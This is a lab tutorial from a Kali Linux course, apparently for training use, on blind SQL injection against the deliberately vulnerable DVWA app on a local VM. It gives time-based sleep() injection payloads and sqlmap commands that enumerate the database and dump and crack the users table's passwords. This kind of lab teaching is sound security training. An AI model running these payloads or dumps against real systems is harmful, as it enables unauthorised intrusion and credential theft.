Master Kali Linux Penetration Testing: Comprehensive Guide to Web Application Attacks and Blind SQL Injection

 

1. Course Overview

 

This course is an interactive, lab-based tutorial focused on Kali Linux penetration testing. To clarify the experimental steps, it includes some theoretical content and carefully selected must-read articles. This approach ensures that while practicing, you also strengthen your theoretical understanding.

Note: Due to the higher cost of hosting cloud instances for the experiments, access will be limited to no more than six attempts per experiment.

2. Learning Approach

 

The series of Kali Linux courses on the Experiment Platform includes five training tracks. This specific course focuses on attacks targeting web applications. It consists of 20 labs, each providing detailed steps and screenshots. It’s suitable for learners with a basic understanding of Linux systems who want to quickly master Kali penetration testing.

The recommended learning approach is to engage in frequent practice and ask questions as needed. Begin each experiment by following the step-by-step instructions while ensuring you understand every detail of each step.

If the experiment includes recommended reading at the beginning, make sure to read those materials first before proceeding. Theoretical knowledge is an essential prerequisite for practice.

3. Overview of This Section

 

In this experiment, we’ll get an introduction to the concept of penetration testing with Kali Linux. The tasks to complete are as follows:

  • Overview of SQL Blind Injection
  • Time-Based Blind SQL Injection
  • Introduction to the SQL Injection Tool `sqlmap`

4. Introduction to SQL Injection (Blind)

 

In the previous experiment, we explored what SQL Injection is. We learned that SQL Injection isn’t as difficult or mystical as it might seem. It involves finding vulnerabilities and effectively exploiting them using SQL commands to extract sensitive information.

Blind SQL Injection is similar in principle to standard SQL Injection but comes with additional challenges. While typical SQL Injection may return error messages that provide useful information, Blind SQL Injection yields no error messages, making it slightly more difficult to execute. For example, testing for injection points with ' is less informative during Blind SQL Injection due to the lack of feedback.

5. First Steps with SQL Injection (Blind)

 

5.1 Environment Setup

 

As with previous experiments, we’ll start by launching the target machine, opening dvwa (Damn Vulnerable Web Application), and setting the experiment’s security level to the lowest:

On the experiment desktop, double-click the Xfce Terminal to open it:

Kali Linux penetration testing

Use the command sudo virsh start Metasploitable2 to start the target machine:

Kali Linux penetration testing

Wait around four minutes for the virtual machine to fully start, then open Firefox from the desktop:

dvwa-config-security-proof.png



5.2 Blind SQL Injection

 

At this stage, we input a ' single quote into the provided text field and observe that no output or message is displayed—it remains entirely blank:

show-single-quote



This scenario is described as a Blind SQL Injection: there is no error message returned, making it impossible to determine whether the input is correct or incorrect. It is also possible for the result to be blank if the input accidentally triggers the return of an empty or null value. For instance, entering random English letters like asd would likely return no output during a SQL Injection test, as random letters are unlikely to match any valid entry in the database. An empty result will simply be returned.

Without feedback, it’s challenging to determine whether the query type expects a string, has syntax errors, or how exactly it functions. This is where the method of time-based blind injections becomes invaluable.

Time-based SQL Injection leverages MySQL’s sleep() function. When the database query conditions fail or the query produces no results, the statement executes near-instantaneously with no delay. If successful, the sleep() function introduces a deliberate delay based on a provided parameter, creating a time difference that can be used to infer the query’s success or failure.

For example, we can test these two statements and observe their behavior:

# First query
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)#

Executing this query quickly produces visible results without delay.

# Second query
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)#
show-sleep-1



After executing the second query, there is a noticeable delay before the page responds.

This demonstrates time-based blind SQL Injection, where execution time differences help infer the query’s outcome. In this case, the time difference indicates there are two tables in the database.

For example, the first query inserted into an SQL statement would look like:

SELECT first_name, last_name FROM users WHERE user_id = '1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)#'

This SQL statement is slightly complex. Let’s break it down:

The initial '1' is straightforward. The and clause connects the condition. The if function checks whether the count of tables in the current database equals 1. If true, it triggers the sleep() function; otherwise, it skips it.

Executing the first query didn’t cause any delay, suggesting the table count is not 1. However, the second query introduced a delay, signaling there are 2 tables. This validates our test as accurate, confirming there are two tables in the DVWA database used for this exercise.

This approach demonstrates time-based blind SQL Injection: hypothesize the database’s structure and use a method like delay injection to test and validate it based on execution timing.

The injection syntax is similar to previous techniques, so we won’t repeat those here. Blind SQL Injection differs by not providing error information but rather relying on timing to deduce results.

show-source-code



5.3 Using sqlmap

 

After covering time-based blind SQL Injection, let’s introduce the powerful tool sqlmap.

sqlmap is an open-source tool for detecting and exploiting SQL Injection vulnerabilities. It automates the testing and exploitation process.

When using sqlmap, you need to pass cookie information. To acquire these cookies, install the cookie_manager add-on in your browser.

Use this terminal command to download the plugin installation package (execute this in the Shiyanlou terminal, not on Kali virtual machines):

wget http://labfile.oss.aliyuncs.com/courses/717/cockies_manager.xpi
download-xpi



Once downloaded, install the add-on in Firefox:

In Firefox settings:

install-xpi-1



Then add the local plugin installation package:

Locate the installation file we just downloaded:

install-xpi-3.png



Select the plugin for installation:

install-xpi-4.png



Once the installation completes, you’ll be prompted to restart your browser. Simply restart it.

Log back into the DVWA (Damn Vulnerable Web Application), navigate to the SQL Injection (Blind) page, and input “1” into the query field. You’ll observe the query results:

show-sqlmap-1



At this point, you’ll acquire the current URL.

Next, use the Cookie Manager tool to retrieve the current cookie value:

show-cookie



Then, switch to the Kali terminal and run this command:

  
sqlmap -u "http://192.168.122.102/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=19e123724a6af7960b0838d56a4432bc"  

Replace the PHPSESSID value with your personal cookie value.

After hitting Enter, you’ll be prompted with several questions. Select “y” to continue at each prompt. Ultimately, you’ll encounter a highly useful message:

show-version



In this message, you’ll see the platform and version used to host the application. In this case, the database is identified as MySQL.

Extend the command with the --dbs parameter to enumerate the available databases:

  
sqlmap -u "http://192.168.122.102/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=19e123724a6af7960b0838d56a4432bc" --dbs  
show-dbs



To identify the currently used database and the logged-in user, run:

  
sqlmap -u "http://192.168.122.102/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=19e123724a6af7960b0838d56a4432bc" -b --current-db --current-user  
show-current-db


Currently, we are using the DVWA environment, so let’s display the tables available in the DVWA database:


sqlmap -u "http://192.168.122.102/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=19e123724a6af7960b0838d56a4432bc" -D dvwa --tables
show-tables

Once we’ve identified the table names, the next step is to retrieve the column details from one of the tables:


sqlmap -u "http://192.168.122.102/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=19e123724a6af7960b0838d56a4432bc" -D dvwa -T users --columns
show-columns

Having obtained the column names, let’s extract specific data from the table:


sqlmap -u "http://192.168.122.102/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=19e123724a6af7960b0838d56a4432bc" -D dvwa -T users -C "user,password" --dump

After a series of queries, we confirm that `sqlmap` will use a local dictionary by default to brute-force the passwords within the database and display them in plaintext. Since dictionary-based matching is utilized, this process may take some time:

show-password

You can try logging in using the cracked username and password to verify whether login works as expected.

6. Summary

 

In this session, we covered the following points. If there’s anything unclear, feel free to ask questions in the Shiyanlou Q&A community:

  • Introduction to SQL Blind Injection
  • Time-Based Blind SQL Injection
  • Basics of using the SQL Injection tool `sqlmap`

Make sure you can complete the entire experiment yourself. Reading the instructions might seem easy, but hands-on practice often brings unexpected challenges. Resolving these challenges is where the real learning happens.

7. Homework

 

  1. Perform a similar experiment using the Mutillidae environment.